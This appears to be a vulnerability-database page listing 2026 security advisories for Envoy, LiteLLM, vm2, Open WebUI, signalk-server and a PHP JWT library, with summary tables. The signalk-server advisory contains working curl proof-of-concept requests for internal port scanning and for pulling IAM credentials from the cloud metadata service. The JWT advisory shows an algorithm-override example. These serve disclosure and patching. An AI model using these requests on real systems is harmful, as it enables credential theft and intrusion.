Envoy is an L7 proxy and communication bus designed for large modern service-oriented architectures.

Envoy

The Amazon Linux is a supported and maintained Linux image provided by Amazon Web Services for use on Amazon Elastic Compute Cloud (Amazon EC2).

Amazon Linux

Envoy is an open source edge and service proxy designed for cloud-native applications. Prior to versions 1.35.11, 1.36.7, 1.37.3, and 1.38.1, a vulnerability in Envoy's HTTP/2 downstream request processing allows an unauthenticated remote client to trigger excessive memory consumption, potentially resulting in OOM termination of the Envoy process and denial of service. The issue arises from the combination of two behaviors. First, cookie header bytes are not fully accounted for during request header size validation in Envoy. Second, HPACK header block limits in oghttp2/quiche are enforced on encoded bytes without a corresponding limit on total decoded header size. Together, these behaviors allow a malicious client to cause large decoded header allocations while bypassing the intended request header size protections. Versions 1.35.11, 1.36.7, 1.37.3, and 1.38.1 contain a fix. No complete workaround is known short of applying a fix. Possible temporary mitigations include disabling downstream HTTP/2 where operationally feasible; enforcing stricter request header and cookie limits before traffic reaches Envoy; and monitoring Envoy memory usage for abnormal growth under HTTP/2 traffic.

CVE-2026-47774

Linux

Linux Kernel

LiteLLM is an open-source library that provides a unified interface for various large language models (LLMs). It allows developers to easily switch between different LLM providers like OpenAI, Anthropic, and others without changing their code. LiteLLM simplifies the process of working with multiple LLMs by offering a consistent API across different models and providers.

LiteLLM

### Impact
A Host-header parsing flaw in the LiteLLM proxy could, under specific conditions, allow unauthenticated access to protected management routes.
The auth layer derived the effective route from `request.url.path` in `litellm/proxy/auth/auth_utils.py::get_request_route()`, which Starlette reconstructs from the `Host` header. A crafted `Host` could therefore make the auth gate evaluate a different route from the one FastAPI dispatched.
**Most deployments are not affected.** The bypass is blocked by any upstream layer that validates or normalizes `Host`, such as:
- a CDN or WAF, such as Cloudflare
- a reverse proxy with `server_name` allowlists
- a host-based load balancer
**LiteLLM Cloud customers are not affected.**
### Patches
Fixed in **`1.84.0`**. Upgrade to `1.84.0` or later. No configuration change is required.
### Workarounds
If upgrading is not immediately possible, place the proxy behind an upstream component that validates or normalizes the `Host` header before forwarding (a CDN/WAF, a reverse proxy with explicit `server_name` allowlists, or a cloud load balancer with host-based routing rules), or otherwise restrict network access to the proxy listener.
### References
- Patched release: [`v1.84.0`](https://github.com/BerriAI/litellm/releases/tag/v1.84.0)
**Discovery Credit**: Le The Thang (KCSC) and Kim Ngoc Chung (One Mount Group)

CVE-2026-49468

GitHub Advisory Database

Windows

Windows Cumulative Update

JavaScript is a high-level, interpreted programming language essential for creating interactive web applications, running directly in web browsers to enable dynamic content and user interface enhancements. It is integral to the web development stack, working seamlessly with HTML and CSS to build responsive and feature-rich websites.

JavaScript

MinimOS is a minimalist operating system designed for simplicity and efficiency. It aims to provide only essential functionalities, making it lightweight and suitable for resource-constrained environments. MinimOS is often used in embedded systems or as a base for custom operating system development.

MinimOS

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.

CVE-2026-47210

Minimus

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

CVE-2026-47208

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, NodeVM blocks several dangerous Node.js builtins such as module, worker_threads, cluster, vm, repl, and inspector. However, the denylist misses process and inspector/promises. Both can be used from sandboxed code to reach host-side execution primitives. This allows sandboxed code to bypass the intended builtin restrictions and execute code in the host process. This issue has been patched in version 3.11.4.

CVE-2026-47140

Python is a high-level, general-purpose programming language. Its key feature is the high readability of the code. It supports multiple programming paradigms, including Object-Oriented Programming (OOP) and Functional Programming.

Python

Open WebUI is an open-source project that provides a user-friendly web interface for interacting with large language models (LLMs) and AI models. It offers features like chat interfaces, image generation, and voice interactions, making it easier for users to leverage AI capabilities without extensive technical knowledge. Open WebUI is designed to be customizable and can be self-hosted, allowing users to maintain control over their data and AI interactions.

Open WebUI

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, the terminal-server reverse proxy in `backend/open_webui/routers/terminals.py` does not fully confine the user-controlled `path` segment before forwarding it to an admin-configured terminal server. An authenticated user who has been granted access to a terminal server can craft `path` values containing encoded `../` traversal sequences that escape the intended path (or policy) scope on that server, reaching unintended endpoints and files on the terminal-server host. Where the terminal server fans requests out to internal services, this also gives SSRF-style reach into those services. This is a separate code path from the `/api/v1/retrieval/process/web` SSRF (GHSA-c6xv-rcvw-v685), with its own input. Two distinct vectors are consolidated here: first, raw path forwarding / single-encoded traversal (original report); and second, a bypass of the subsequently-added `_sanitize_proxy_path` mitigation using double-encoded dots (`%252e%252e`). The attacker-controlled input is the request `path`, supplied by the non-admin user, not anything an administrator configures, so this is not an admin-trust / Rule-9 situation. Version 0.9.6 fixes the issue.

CVE-2026-54017

VulnCheck NVD++

### Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The `makeRemoteRequest()` function accepts attacker-controlled `host`, `port`, `useTLS`, and `selfsignedcert` parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require **no authentication**.
### Details
#### Vulnerable Function
The core vulnerability is in `makeRemoteRequest()` at `src/serverroutes.ts:2483-2524`:
```typescript
function makeRemoteRequest(
  host: string,
  port: number,
  useTLS: boolean,
  selfsignedcert: boolean,
  path: string,
  method?: string,
  headers?: Record<string, string>,
  body?: unknown
): Promise<{ status: number | undefined; data: string }> {
  const protocol = useTLS ? https : http
  return new Promise((resolve, reject) => {
    const options = {
      hostname: host,         // NO VALIDATION - attacker controlled
      port,                   // NO VALIDATION - attacker controlled
      path,
      method: method || 'GET',
      headers: {
        ...(headers || {}),
        ...(body ? { 'Content-Type': 'application/json' } : {})
      },
      rejectUnauthorized: !selfsignedcert  // Attacker can disable TLS verification
    }
    const req = protocol.request(options, (response) => {
      let data = ''
      response.on('data', (chunk: string) => {
        data += chunk
      })
      response.on('end', () => {
        resolve({ status: response.statusCode, data })
      })
    })
    req.on('error', reject)
    req.setTimeout(10000, () => {
      req.destroy(new Error('Connection timed out'))
    })
    if (body) {
      req.write(JSON.stringify(body))
    }
    req.end()
  })
}
```
#### Missing Validation
The function performs **zero validation** on the destination host. The following address ranges are all reachable:
- **Loopback**: `127.0.0.1`, `::1`, `localhost`
- **RFC 1918 private ranges**: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`
- **Link-local / Cloud metadata**: `169.254.169.254` (AWS EC2 instance metadata, GCP, Azure IMDS)
- **IPv6 link-local**: `fe80::/10`
- **Any arbitrary external host**: enabling the server as an open proxy
#### Authentication Bypass via Default Configuration
The endpoints are protected by `addAdminMiddleware()` (lines 2339-2345):
```typescript
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/testSignalKConnection`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/requestAccess`)
app.securityStrategy.addAdminMiddleware(`${SERVERROUTESPREFIX}/checkAccessRequest`)
```
However, when security is not configured, the server uses `dummysecurity.ts`, where `addAdminMiddleware` is a **no-op**:
```typescript
addAdminMiddleware: () => {},
```
This means on a default installation with no admin user created, **all three endpoints are accessible without any authentication**.
#### Additional Attack Surface: TLS Verification Bypass
The `selfsignedcert` parameter directly controls `rejectUnauthorized`:
```typescript
rejectUnauthorized: !selfsignedcert
```
When an attacker sets `selfsignedcert: true`, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
#### Additional Attack Surface: Path Traversal in checkAccessRequest
The `checkAccessRequest` endpoint interpolates `requestId` directly into the URL path:
```typescript
`/signalk/v1/requests/${requestId}`
```
An attacker can use path traversal (e.g., `requestId: "../../other/endpoint"`) to target arbitrary paths on the destination host.
### PoC
#### Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
```bash
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
  bash -c 'npm install -g signalk-server@2.27.0 && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
```
Set the target variable:
```bash
TARGET=http://127.0.0.1:3000
```
Confirm `"authenticationRequired":false` in the loginStatus response before proceeding.
#### PoC 1: Loopback Connection (Self-Discovery)
```bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
```
**Response** (confirms SSRF, the server connected to itself):
```json
{
  "success": true,
  "authenticated": false,
  "server": {
    "id": "signalk-server-node",
    "version": "2.27.0"
  }
}
```
#### PoC 2: Port Scanning via Error Differentiation
```bash
# Open port (3000) — returns server data
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":true,"server":{"id":"signalk-server-node","version":"2.27.0"}}
# Closed port (9999) — immediate ECONNREFUSED
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"127.0.0.1","port":9999,"useTLS":false,"selfsignedcert":false}'
# Response: {"success":false,"error":"connect ECONNREFUSED 127.0.0.1:9999"}
# Filtered port — 10-second timeout then error
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"10.0.0.1","port":22,"useTLS":false,"selfsignedcert":false}'
# Response (after 10s): {"success":false,"error":"Connection timed out"}
```
The three distinct error responses allow an attacker to map internal network topology.
#### PoC 3: AWS Instance Metadata Service (IMDSv1)
On a cloud-hosted signalk-server (AWS EC2):
```bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false}'
```
The server connects to the EC2 metadata endpoint. The response will contain the discovery JSON parse result, leaking metadata. For deeper paths, use `checkAccessRequest` with path traversal in `requestId`:
```bash
curl -s -X POST $TARGET/skServer/checkAccessRequest \
  -H "Content-Type: application/json" \
  -d '{"host":"169.254.169.254","port":80,"useTLS":false,"selfsignedcert":false,"requestId":"../../latest/meta-data/iam/security-credentials/ROLE_NAME"}'
```
### Impact
1. **Internal Network Scanning**: An attacker can probe internal hosts and ports. The response distinguishes between open ports (HTTP response returned), closed ports (connection refused error), and filtered ports (timeout after 10 seconds).
2. **Cloud Metadata Exfiltration**: On cloud-hosted instances (AWS EC2, GCP, Azure), an attacker can reach the instance metadata service at `169.254.169.254` to steal IAM credentials, instance identity tokens, and other sensitive metadata.
3. **Internal Service Data Exfiltration**: The `testSignalKConnection` endpoint returns the full response body from the target, allowing reading of data from internal HTTP services not otherwise accessible from the internet.
4. **Server-Side POST Requests**: The `requestAccess` endpoint sends a POST request with attacker-controlled JSON body (`clientId`, `description`), enabling interaction with internal APIs that accept POST requests.
5. **Lateral Movement**: In containerized or Kubernetes environments, the server can be used to access cluster-internal services, the Kubernetes API, or other containers on the Docker network.

CVE-2026-55591

PHP is a general-purpose scripting language that is especially suited for web development.

## Summary
`JWSVerifier::getAlgorithm()` in `src/Library/Signature/JWSVerifier.php` (line 144) merges protected and unprotected headers using PHP's spread operator:
```php
$completeHeader = [...$signature->getProtectedHeader(), ...$signature->getHeader()];
```
In PHP, when spreading arrays with duplicate string keys, the **last array's values take precedence**. Since the unprotected header (`getHeader()`) is spread second, an attacker can override the integrity-protected `alg` parameter by placing a different value in the unprotected header.
This creates a Time-of-Check/Time-of-Use (TOCTOU) vulnerability:
1. `HeaderCheckerManager` validates `alg` from the **protected** header
2. `JWSVerifier` uses `alg` from the **unprotected** header for actual verification
The same issue exists in `JWEDecrypter.php` (lines 120-124) where `array_merge()` exhibits the same last-wins behavior for `alg` and `enc`.
## Affected Code
**JWSVerifier.php line 144** — Spread operator merge order allows unprotected header to override `alg`:
```php
$completeHeader = [...$signature->getProtectedHeader(), ...$signature->getHeader()];
```
**JWEDecrypter.php lines 120-124** — `array_merge()` with same last-wins behavior:
```php
$completeHeader = array_merge(
    $jwe->getSharedProtectedHeader(),
    $jwe->getSharedHeader(),
    $recipient->getHeader()
);
```
## Attack Vectors
### Vector A — Mixed key sets (HIGH probability)
If the application uses a JWKSet containing keys of different types (common in multi-tenant or federation scenarios), the JWSVerifier iterates all keys (line 86). An attacker can force a different algorithm that matches a different key in the set.
### Vector B — alg ONLY in unprotected header (HIGH probability)
If `alg` is placed EXCLUSIVELY in the unprotected header (not in the protected header at all), `HeaderCheckerManager::checkDuplicatedHeaderParameters()` does NOT trigger. The JSON Flattened/General serializers allow tokens with no protected header or a protected header without `alg`. RFC 7515 Section 4.1.1 states `alg` MUST be integrity-protected, but the library does not enforce this.
### Vector C — Direct JWSVerifier usage (HIGH probability)
`JWSLoader` takes `?HeaderCheckerManager` (nullable). If developers use `JWSVerifier` directly or create `JWSLoader` without a `HeaderCheckerManager`, the duplicate header check never runs.
## Contrast with JWSBuilder (safe)
`JWSBuilder::findSignatureAlgorithm()` (line 196) uses `[...$header, ...$protectedHeader]` where protected wins. It also has `checkDuplicatedHeaderParameters()` (line 218). The JWSVerifier has **neither** safeguard.
## Proof of Concept
```php
<?php
// Demonstrate algorithm override via unprotected header
$protected = ["alg" => "RS256", "typ" => "JWT"];
$unprotected = ["alg" => "HS256"];
$merged = [...$protected, ...$unprotected];
// $merged["alg"] === "HS256" — unprotected wins!
// JSON Flattened JWS with algorithm override:
$maliciousJws = json_encode([
    'payload' => base64url_encode($payload),
    'protected' => base64url_encode('{"alg":"RS256"}'),
    'header' => ['alg' => 'HS256'],  // OVERRIDE
    'signature' => base64url_encode($sig),
]);
// HeaderCheckerManager validates RS256 from protected header -> PASS
// JWSVerifier uses HS256 from unprotected header -> attacker's algorithm choice
```
A full working PoC demonstrating HS512-to-HS256 downgrade with mixed keysets is available upon request.
## Suggested Fix
In `JWSVerifier::getAlgorithm()`, read `alg` exclusively from the protected header:
```php
private function getAlgorithm(Signature $signature): Algorithm
{
    $protectedHeader = $signature->getProtectedHeader();
    if (! isset($protectedHeader['alg'])) {
        throw new InvalidArgumentException('The "alg" parameter must be in the protected header.');
    }
    return $this->signatureAlgorithmManager->get($protectedHeader['alg']);
}
```
For `JWEDecrypter`, reverse the merge order so protected header wins, or extract `alg`/`enc` exclusively from the protected header.
## Résolution
Un correctif a été préparé sur une branche dédiée basée sur `3.4.x`, avec des tests anti-régression dédiés (fork privé temporaire de cette advisory, PR #1).
**JWS algorithm confusion** — `JWSVerifier` lit le paramètre `alg` exclusivement dans le header protégé en intégrité (RFC 7515 §4.1.1) ; un `alg` placé dans le header non protégé ne peut plus surcharger l'algorithme signé.
**Validation :** `php -l` OK, PHPUnit vert, aucune nouvelle erreur PHPStan introduite (différentiel nul vs `3.4.x`), aucun commentaire ajouté dans le code source. Après merge, cascade prévue `3.4.x → 4.0.x → 4.1.x`.

GHSA-jc38-x7x8-2xc8

Composer

### Impact
`RSACrypt::decryptWithRSA15()` (used by the `RSA1_5` key-encryption algorithm) implements RSAES-PKCS1-v1_5 decryption by inspecting the padding after RSADP and throwing `InvalidArgumentException` as soon as the padding is malformed. It does **not** implement the implicit-rejection countermeasure required by RFC 3447 §7.2.2 / RFC 8017 §7.1.2 (return a deterministic pseudo-random value of the expected length on padding failure and let the downstream step fail uniformly).
From a JWE caller this yields a Bleichenbacher/Marvin padding oracle: an attacker submitting adaptively crafted `encrypted_key` values can distinguish (a) padding rejected, (b) padding valid but wrong CEK length, and (c) padding valid and full AEAD executed — even though `JWEDecrypter` returns the same `false` in all cases — because each path performs a measurably different amount of work, amplifiable by enlarging the ciphertext (CWE-208 timing side channel). Enough adaptive queries can recover the wrapped CEK.
### Affected configurations
Applications that register `RSA1_5` in their decryption `AlgorithmManager` and hold an RSA private key.
### Patches
PKCS#1 v1.5 decryption now performs implicit rejection: on invalid padding (or unexpected recovered length) it returns a random CEK of the expected size selected in constant time, so the full content-decryption (AEAD) step always runs and fails uniformly, removing the observable difference between padding-valid and padding-invalid ciphertexts. Users are still strongly encouraged to migrate to `RSA-OAEP`.
### Workarounds
Prefer `RSA-OAEP`/`RSA-OAEP-256`; do not enable `RSA1_5` for untrusted tokens.
### References
- RFC 3447 §7.2.2 / RFC 8017 §7.1.2
- Bleichenbacher (1998); Marvin attack
- CWE-208: Observable Timing Discrepancy
## Résolution
Un correctif a été préparé sur une branche dédiée basée sur `3.4.x`, avec des tests anti-régression dédiés (fork privé temporaire de cette advisory, PR #1).
**RSA1_5** — déchiffrement PKCS#1 v1.5 avec *implicit rejection* en temps constant (RFC 3447 §7.2.2) : un padding invalide n'est plus distinguable d'un padding valide, neutralisant l'oracle Bleichenbacher.
**Validation :** `php -l` OK, PHPUnit vert, aucune nouvelle erreur PHPStan introduite (différentiel nul vs `3.4.x`), aucun commentaire ajouté dans le code source. Après merge, cascade prévue `3.4.x → 4.0.x → 4.1.x`.

GHSA-5739-39v2-5754

### Impact
When a JWE uses a password-based key-encryption algorithm (`PBES2-HS256+A128KW`, `PBES2-HS384+A192KW`, `PBES2-HS512+A256KW`), `PBES2AESKW::unwrapKey()` reads the `p2c` (PBKDF2 iteration count) parameter directly from the attacker-controlled JOSE header and passes it to `hash_pbkdf2()` with **no upper bound**. The only validation performed (`checkHeaderAdditionalParameters()`) was `is_int($p2c) && $p2c > 0`.
An unauthenticated attacker can craft a single JWE whose protected header sets a very large `p2c` (e.g. `100_000_000` ≈ 87 s of CPU, or `PHP_INT_MAX`), forcing a worker to spend an arbitrary amount of CPU inside PBKDF2 **before** the key unwrap can even fail. The decrypter swallows the eventual exception, so the attacker pays almost nothing while the server burns CPU. JSON General serialization (multiple recipients) and multi-key JWKSets multiply the cost. This is a classic uncontrolled-resource-consumption (CWE-400) denial of service.
### Affected configurations
Applications that register any `PBES2-HS*+A*KW` algorithm in their decryption `AlgorithmManager`.
### Patches
`PBES2AESKW` now enforces a configurable maximum iteration count (`DEFAULT_MAX_COUNT = 1_000_000`, well above realistic legitimate values which are a few thousand) in `checkHeaderAdditionalParameters()`, before any PBKDF2 computation. The bound is exposed as a constructor argument so operators can tune it.
### Workarounds
Before upgrading: validate/limit the `p2c` header with a custom header checker, or do not enable PBES2 algorithms for untrusted tokens.
### References
- RFC 7518 §4.8 (PBES2)
- CWE-400: Uncontrolled Resource Consumption
## Résolution
Un correctif a été préparé sur une branche dédiée basée sur `3.4.x`, avec des tests anti-régression dédiés (fork privé temporaire de cette advisory, PR #1).
**PBES2** — `PBES2AESKW::unwrapKey()` borne désormais le paramètre `p2c` (constante `DEFAULT_MAX_COUNT = 1_000_000`, configurable via le constructeur) avant tout appel à `hash_pbkdf2()`, empêchant l'amplification CPU (DoS).
**Validation :** `php -l` OK, PHPUnit vert, aucune nouvelle erreur PHPStan introduite (différentiel nul vs `3.4.x`), aucun commentaire ajouté dans le code source. Après merge, cascade prévue `3.4.x → 4.0.x → 4.1.x`.

CVE-Kennung	Strenge	Punktzahl	Technologieen	Name der Komponente	CISA KEV-Exploit	Hat fix	Veröffentlichungsdatum
CVE-2026-47774	HIGH	7.5	Envoy	cpe:2.3:a:envoyproxy:envoy	Nein	Ja	Jun 17, 2026
CVE-2026-49468	CRITICAL	9.5	LiteLLM	cpe:2.3:a:litellm:litellm	Nein	Ja	Jun 16, 2026
CVE-2026-47210	CRITICAL	9.8	JavaScript	vm2	Nein	Ja	Jun 12, 2026
CVE-2026-47208	CRITICAL	10	JavaScript	vm2	Nein	Ja	Jun 12, 2026
CVE-2026-47140	CRITICAL	10	JavaScript	vm2	Nein	Ja	Jun 12, 2026

CVE-Kennung	Strenge	Punktzahl	Technologieen	Name der Komponente	CISA KEV-Exploit	Hat fix	Veröffentlichungsdatum
CVE-2026-54017	HIGH	7.7	Python	cpe:2.3:a:openwebui:open_webui	Nein	Ja	Jun 18, 2026
CVE-2026-55591	MEDIUM	5.8	JavaScript	signalk-server	Nein	Ja	Jun 18, 2026
GHSA-jc38-x7x8-2xc8	HIGH	8.1	PHP	web-token/jwt-framework	Nein	Ja	Jun 18, 2026
GHSA-5739-39v2-5754	MEDIUM	6.3	PHP	web-token/jwt-framework	Nein	Ja	Jun 18, 2026
GHSA-3prj-6hqw-cm82	HIGH	8.7	PHP	web-token/jwt-framework	Nein	Ja	Jun 18, 2026

Datenbank für Wiz-Schwachstellen

Nach Technologie erkunden

Beliebte Filter

Hohes Profil

Neuesten

Schwachstellen in Zahlen

Das Gute, das Böse und das Verletzliche

Zusätzliche Wiz-Ressourcen

Cloud Vulnerability DB

PEACH

Sind Sie bereit, Wiz in Aktion zu sehen?